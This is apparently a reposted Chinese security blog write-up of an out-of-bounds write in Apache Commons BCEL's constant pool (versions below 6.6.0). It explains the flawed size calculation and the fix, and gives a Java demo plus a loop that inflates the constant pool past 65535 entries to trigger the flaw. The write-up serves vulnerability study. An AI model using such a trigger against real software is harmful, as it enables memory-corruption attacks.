声明
以下内容,来自先知社区的LeeH作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。
前言
Apache Commons BCEL旨在为用户提供一种方便的方法来分析、创建和操作(二进制)Java类文件(以 .class 结尾的文件)。类由包含给定类的所有符号信息的对象表示:特别是方法、字段和字节码指令。
这些对象可以从现有文件中读取,由程序(例如运行时的类加载器)转换并再次写入文件,一个更有趣的应用是在运行时从头开始创建类
BCEL包含一个名为JustIce的字节码验证器,它通常会为您提供比标准JVM消息更好的关于代码错误的信息。
漏洞概述
首先看看apache list中的解释
影响版本
< 6.6.0
漏洞分析
在这里我们可以看到漏洞的细节
https://github.com/apache/commons-bcel/pull/147
我们首先来了解一下bcel的用法
查看官方文档
Apache Commons BCEL™ – Home
我们从上面的修复位置可以知道主要是在常量池的位置造成的越界写入漏洞
我们直接关注到常量池的解释中去
在ClassGen中
而这个类是在org.apache.bcel.generic包下的一个类,这个包提供了一个用于动态创建或转换类文件的抽象级别。它使Java类文件的静态约束(如硬编码的字节码地址)变得“通用”。例如,通用常量池由类ConstantPoolGen实现,该类提供添加不同类型常量的方法。因此,ClassGen提供了一个接口来添加方法、字段和属性
只是在默认的BUFFER大小为256和在传入的常量数组长度+64之后去了个最大的值作为了size
如果这时候传入的cs数组+64是大于65535这个临界值的时候将会导致越界漏洞的产生
所以对于漏洞的利用只需要在常量数组中前面写入足够长的垃圾数据,后面写入恶意常量数据,将会在通过getFinalConstantPool方法返回对应的ConstantPool对象之后调用其dump方法从二进制流到文件流的转换
漏洞利用
我们可以简单写一个demo来通过Apache Com-mons BCEL API动态生成一个HelloWorld.class文件
package pers.bcel;
import org.apache.bcel.generic.*;
import org.aspectj.apache.bcel.Constants;
import static org.apache.bcel.Const.ACC_PUBLIC;
import static org.apache.bcel.Const.ACC_SUPER;
import static org.apache.bcel.Constants.ACC_STATIC;
public class TestBcel {
public static void main(String[] args) {
try {
// BCEL Appendix A example
// ClassGen(String class_name, String super_class_name, String
// file_name, int access_flags, String[] interfaces)
ClassGen cg = new ClassGen("HelloWorld", "java.lang.Object",
"<generated>", ACC_PUBLIC | ACC_SUPER, null);
ConstantPoolGen cp = cg.getConstantPool();
InstructionList il = new InstructionList();
// create main method
// MethodGen(int access_flags, Type return_type, Type[] arg_types,
// String[] arg_names, String method_name, String class_name,
// InstructionList il, ConstantPoolGen cp)
MethodGen mg = new MethodGen(ACC_STATIC | ACC_PUBLIC, Type.VOID,
new Type[] { new ArrayType(Type.STRING, 1) },
new String[] { "argv" }, "main", "HelloWorld", il, cp);
LocalVariableGen lg = null;
InstructionFactory factory = new InstructionFactory(cg);
// define some often used types
ObjectType i_stream = new ObjectType("java.io.InputStream");
ObjectType p_stream = new ObjectType("java.io.PrintStream");
//%%
//BufferedReader in = new BufferedReader(new InputStreamReader(System.in));
//%%
// create variables in and name
il.append(factory.createNew("java.io.BufferedReader"));
il.append(InstructionConstants.DUP);
il.append(factory.createNew("java.io.InputStreamReader"));
il.append(InstructionConstants.DUP);
//init input stream
il.append(factory.createFieldAccess("java.lang.System", "in",
i_stream, Constants.GETSTATIC));
// for (int j = 0; j < 21845; j++) {
// il.append(factory.createFieldAccess("java.lang.System", "in", i_stream, Constants.GETSTATIC));
// }
il.append(factory.createInvoke("java.io.InputStreamReader",
"<init>", Type.VOID, new Type[] { i_stream },
Constants.INVOKESPECIAL));
il.append(factory.createInvoke("java.io.BufferedReader", "<init>",
Type.VOID, new Type[] { new ObjectType("java.io.Reader") },
Constants.INVOKESPECIAL));
//add in into the local variable pool and get the index automatically
lg = mg.addLocalVariable("in", new ObjectType(
"java.io.BufferedReader"), null, null);
int in = lg.getIndex();//index of "in" var
lg.setStart(il.append(new ASTORE(in)));//store the reference into local variable
//首先创建对象,并初始化,操作结果在JVM的“堆”里,还需要在本地变量表中创建引用,因此在本地变量表中添加一个“in”比那辆,
//然后根据索引值调用“astore”指令,即可将对象引用赋值给本地变量
/*
0: new #8; //class java/io/BufferedReader
3: dup
4: new #10; //class java/io/InputStreamReader
7: dup
8: getstatic #16; //Field java/lang/System.in:Ljava/io/InputStream;
11: invokespecial #20; //Method java/io/InputStreamReader."<init>":(Ljava/io/InputStream;)V
14: invokespecial #23; //Method java/io/BufferedReader."<init>":(Ljava/io/Reader;)V
17: astore_1
* */
//%%
//String name = null;
//%%
// create local variable name and init it to null
lg = mg.addLocalVariable("name", Type.STRING, null, null);
int name = lg.getIndex();
il.append(InstructionConstants.ACONST_NULL);//add "null" to the stack top
lg.setStart(il.append(new ASTORE(name)));//"store" the value of "null" into "name" var
//%%
//System.out.print("Please enter your name> ")
//%%
// create try_catch block
InstructionHandle try_start = il.append(factory.createFieldAccess(
"java.lang.System", "out", p_stream, Constants.GETSTATIC));
//从常量池中取出“please .....”,压入栈顶:这里感觉有问题,这个字符串常量应该先压入常量池才可以(最好是在这之前加一句,
//加一句添加常量池操作其实并不影响实际运行的效率)
il.append(new PUSH(cp, "Please enter your name> "));
il.append(factory.createInvoke("java.io.PrintStream", "print",
Type.VOID, new Type[] { Type.STRING },
Constants.INVOKEVIRTUAL));
//%%
//name = in.readLine();
//%%
//将本地变量“in”推送至栈顶
il.append(new ALOAD(in));
il.append(factory.createInvoke("java.io.BufferedReader",
"readLine", Type.STRING, Type.NO_ARGS,
Constants.INVOKEVIRTUAL));//调用readLine()方法
il.append(new ASTORE(name));//接收的结果在栈顶,需要保存,因此加上保存到“name”slot的指令
//%%
// } catch(IOException e) { return; }
//%%
GOTO g = new GOTO(null);
InstructionHandle try_end = il.append(g);
//add return:如果出异常,才会走到这条“return”指令,并返回到caller中
InstructionHandle handler = il.append(InstructionConstants.RETURN);
// add exception handler which returns from the method
mg.addExceptionHandler(try_start, try_end, handler, null);
//%%
//没有异常,继续执行:System.out.println("Hello, " + name);
//%%
// "normal" code continues, set the branch target of the GOTO
InstructionHandle ih = il.append(factory.createFieldAccess(
"java.lang.System", "out", p_stream, Constants.GETSTATIC));
g.setTarget(ih);
// print "Hello":创建一个StringBuffer对象,通过调用StringBuffer的append操作,实现
//string1 + string2的操作,并且操作结果调用toString方法
il.append(factory.createNew(Type.STRINGBUFFER));
il.append(InstructionConstants.DUP);
il.append(new PUSH(cp, "Hello, "));
il.append(factory.createInvoke("java.lang.StringBuffer", "<init>",
Type.VOID, new Type[] { Type.STRING },
Constants.INVOKESPECIAL));
il.append(new ALOAD(name));
il.append(factory.createInvoke("java.lang.StringBuffer", "append",
Type.STRINGBUFFER, new Type[] { Type.STRING },
Constants.INVOKEVIRTUAL));
//
il.append(factory.createInvoke("java.lang.StringBuffer",
"toString", Type.STRING, Type.NO_ARGS,
Constants.INVOKEVIRTUAL));
il.append(factory.createInvoke("java.io.PrintStream", "println",
Type.VOID, new Type[] { Type.STRING },
Constants.INVOKEVIRTUAL));
il.append(InstructionConstants.RETURN);
// finalization
mg.setMaxStack();
cg.addMethod(mg.getMethod());
il.dispose();
cg.addEmptyConstructor(ACC_PUBLIC);
// dump the class
cg.getJavaClass().dump("HelloWorld.class");
System.out.println("dump successly");
} catch (java.io.IOException e) {
System.err.println(e);
} catch (Exception e1) {
e1.printStackTrace();
}
}
}
运行上面的代码,可以得到一个类文件
for (int j = 0; j < 65500; j++) {
lg = mg.addLocalVariable("name" + j, Type.STRING, null, null);
int name = lg.getIndex();
il.append(InstructionConstants.ACONST_NULL);//add "null" to the stack top
lg.setStart(il.append(new ASTORE(name)));//"store" the value of "null" into "name" var
}
通过调试,我们可以知道这时候的constant-Pool.length=65570
漏洞修复
官方通过增加上限的方式在关键方法增加了判断
比如在ConstantPoolGen的构造方法中初始化常量数组的过程中
欢迎关注长白山攻防实验室公众号
定期更新优质文字分享